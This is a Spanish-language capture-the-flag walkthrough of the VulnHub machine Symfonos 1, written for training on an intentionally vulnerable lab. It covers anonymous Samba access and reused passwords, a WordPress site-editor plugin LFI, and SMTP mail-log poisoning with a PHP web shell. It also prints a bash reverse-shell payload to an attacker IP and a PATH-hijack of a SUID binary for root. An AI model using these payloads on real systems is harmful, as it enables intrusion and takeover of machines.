Symfonos 1
En este artículo, abordaremos la resolución de la máquina Symfonos 1 de la plataforma VulnHub. En primer lugar, logramos acceder a un recurso compartido a través de Samba utilizando las credenciales del usuario anonymous
. Dentro de este recurso, encontramos un archivo que contiene posibles contraseñas utilizadas por usuarios del sistema. Al utilizar una de estas contraseñas junto con un usuario específico, conseguimos acceso a otro recurso compartido que contiene un archivo revelando una ruta del sitio web. A continuación, explotamos una vulnerabilidad de LFI (Local File Inclusion) en un plugin de este CMS para leer archivos del sistema. Posteriormente, convertimos la LFI en un RCE (Remote Code Execution) para obtener acceso a la máquina víctima. Finalmente, para escalar nuestros privilegios, aprovechamos una vulnerabilidad de Path Hijacking
en un binario con privilegios SUID.
Reconocimiento
Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Reconocimento usando el comando ping
Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).
Descubrimiento de puertos abiertos
Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
1
nmap -sS -p- --open --min-rate 5000 192.168.1.12 -oG scanPorts -vvv
Descubrimiento de puertos abiertos
ver la Cheatsheet para más detalle sobre los parámetros utilizados.
Enumeración de versión y servicio
Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.
1
nmap -sCV -p22,25,80,139,445 -oN targeted -vvv 192.168.1.12
Descubrimiento de versión y servicio con nmap
ver la Cheatsheet para más detalle sobre los parámetros utilizados.
Enumeración Samba
Al analizar nuestros resultados de escaneo de puertos, observamos la presencia de varios puertos abiertos, incluido el puerto 445 (Samba). Sería conveniente verificar si tenemos acceso a algún recurso compartido, como por ejemplo, utilizando el usuario anonymous
.
Podemos notar, que tenemos acceso al recurso compartido anonymous
como el usuario anonymous
. Si listamos de forma recursiva lo que hay dentro de este recurso, vemos que encontramos con un fichero llamado attention.txt
.
Enumeración Samba - recurso anonymous
Descargamos el archivo y vemos lo que contine.
El archivo indica posibles credenciales como epidioko
, qwerty
, baseball
.
Pero la cuestión aquí es quien podría estar usando alguna de estas credenciales.
Podríamos utilizar un diccionario de usuarios para realizar fuerza bruta, pero si recordamos nuestra enumeración inicial de samba, existe un recurso compartido llamado helios
, que posiblemente también sea un usuario del sistema.
Teniendo esto en cuenta, podemos probar estas credenciales: helios:epidioko
, helios:qwerty
y helios:baseball
para conectarnos por ssh. Pero ya se los adelanto, no tendremos exito, ya que ninguna de estras credenciales serán validas para conectarnos a través de este protocolo.
Sin embargo, donde si tenemos éxito es en el protocolo Samba, utilizando las credenciales helios:qwerty
.
1
smbmap -u "helios" -p "qwerty" -H 192.168.1.12
Listamos de forma recursiva el recurso compartido helios
y nos encontramos con varios ficheros, los cuales descargamos a nuestra máquina atacante.
1
smbmap -u "helios" -p "qwerty" -H 192.168.1.12 -r 'helios'
Podemos observar, que este ultimo archivo nos revela una ruta /h3l105
Enumeración Web
Al ingresar al sitio web, nos encontramos con lo siguiente:
Tras realizar un breve reconocimiento con la herramienta WhatWeb, observamos que la información revelada es limitada, mostrando únicamente la versión de Apache (2.4.25)
y el sistema operativo Debian
.
Al acceder a la ruta indicada en el archivo todo.txt
( /h3l105
), nos encontramos con lo que parece ser una instancia de Wordpress
.
No se están cargando los estilos CSS ni los scripts correspondientes, ya que se está intentando resolver un dominio que no existe.
Para lo cual, debemos agregar este dominio a nuestro archivo hosts
.
1
echo '192.168.1.12 symfonos.local' >> /etc/hosts
De esta forma, si recargamos la web podemos ver que se cargan de forma correcta todos los recursos.
Si miramos lo que reporta Wappalyzer
podemos observar que estamos frente a un Wordpress (5.2.2)
.
Explotación
Podemos enumerar un CMS Wordpress utilizando distintas herramientas, como wpscan
, nuclei
, ffuf
, gobuster
, nmap
entre otras. En este caso, usaré nmap
para enumerar temas y plugins.
Enumeración de Temas y Plugins de Wordpress unsando nmap
Podemos notar, que la enumeración reporta dos plugins, entre ellos site-editor 1.1.1
.
Si realizamos una búsqueda con la herramienta searchsploit
, podemos ver que este plugin en esta versión especifica es vulnerable a LFI (Local File Inclusion).
Si ejecutamos el PoC que nos comparten, podemos observar que efectivamente se acontese el LFI, pudiendo leer por ejemplo el archivo /etc/passwd
.
Archivo /etc/passwd Symfonos 1
Usuario helios
Ahora que podemos leer archivos del sistema, debemos buscar una vía potencial para ganar acceso. En otras palabras, podemos aprovechar el LFI para convertirlo en un RCE.
Para ello, si recordamos nuestro escaneo inicial de puertos teniamos el puerto 25 (SMTP) abierto, es decir, que podemos realizar envios de correos.
A su vez, podemos leer el archivo /var/mail/helios
del usuario helios
.
Archivo /var/mail/helios Symfonos 1
De esta forma, si logramos inyectar código php en nuestro mensaje de correo, tendremos una vía para ganar acceso al sistema.
Para enviar este correo debemos ejecutar lo siguiente.
- Ejecutar el comando
telnet
seguido de la dirección del servidor SMTP y el puerto SMTP estándar, que es el puerto 25:
1
telent 192.168.1.12 25
- Deberías ver una respuesta del servidor SMTP que indica la conexión se ha establecido correctamente.
- Saludamos al servidor SMTP escribiendo
HELO
seguido del nombre de dominio de correo electrónico (puede ser ficticio).
1
HELO example.com
- El servidor responderá con un mensaje de saludo
- Luego, debemos indicar la dirección del remitente con el comando
MAIL FROM:
seguido de la dirección de correo electrónico del remitente.
1
MAIL FROM: d4redevil@symfonos.localdomain
- El servidor respnderá confirmando la dirección del remitente
- Debemos especificar la dirección del destinatario con el comando
RCPT TO:
seguido de la dirección de correo electrónico del destinatario.
1
RCPT TO: helios@symfonos.localdomain
- El servidor responderá confirmando la dirección del destinatario.
- Ahora estamos listos para escribir el cuerpo del mensaje. Para empezar, debemos escribir
DATA
y presionar Enter. El servidor responderá con un mensaje indicando que está listo para recibir el cuerpo del mensaje. - En este caso, el cuerpo de nuestro mensaje contendrá el siguiente código php.
1
<?php system($_GET['cmd']); ?>
- Por ultimo, debemos presionar Enter y terminar con un punto
.
y volver a presionar Enter. - El servidor responderá confirmando que el mensaje ha sido aceptado para entrega.
- Una vez enviado el mensaje, podemos cerrar la conexión escribiendo
QUIT
.
Para comprobar que tenemos ejecución de comandos, podemos ingresar a la siguiente ruta y pasar como parámetro cmd=id
.
Archivo /var/mail/helios Symfonos 1
Archivo /var/mail/helios Symfonos 1
De esta manera, vemos que podemos ejecutar comandos de forma remota. Para lo cual, podemos ejecutar una reverse shell para ganar acceso al sistema.
Nos ponemos en escucha con netcat por el puerto 443.
1
nc -lnvp 443
Y enviamos como valor de cmd
el siguiente payload
1
bash -i >%26 /dev/tcp/192.168.1.14/443 0>%261
Debemos encodear el
&
como%26
para no tener problemas en la interpretación de nuestro código.
De esta forma, ganamos acceso al sistema como el usuario helios
.
Hacemos el tratamiento de la tty para tener una terminal más interactiva:
script /dev/null -c bash
- CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows <rows> columns <columns>
Escalación de privilegios
Al realizar una enumeración básica del sistema, podemos ver que existe un binario fuera de lo común con permisos SUID /opt/statuscheck
.
Si ejecutamos el comando, observamos que la salida es similar a la realizada al momento de ejecutar curl
contra el localhost
Si analizamos el binario utilizando el comando strings
, podemos notar que se esta ejecutando efectivamente el comando curl
pero de forma relativa, lo cual podemos explotar para elevar nuestros priviegios, lo que se conoce como Path Hijacking
.
Para ello, nos movemos al directorio tmp
y creamos un binario curl
que contenga como código bash -p
.
1
echo 'bash -p' > curl
Le asignamos permisos de ejecución.
1
chmod +x curl
Y exportamos la variable de entorno PATH
para que considere en primer lugar el directorio actual de trabajo.
1
export PATH=.:$PATH
Por ultimo, ejecutamos el binario.
1
/opt/statuscheck
De esta forma, logramos elevar nuestros privilegios.
Finalmente, leemos el archivo proof.txt
.
Con esto, concluimos la resolución de la máquina Symfonos 1.
Espero que los conceptos hayan quedado claros. En caso de tener alguna duda, te invito a realizar nuevamente la máquina para afianzar tus conocimientos.
Gracias por tu lectura!
Happy Hacking!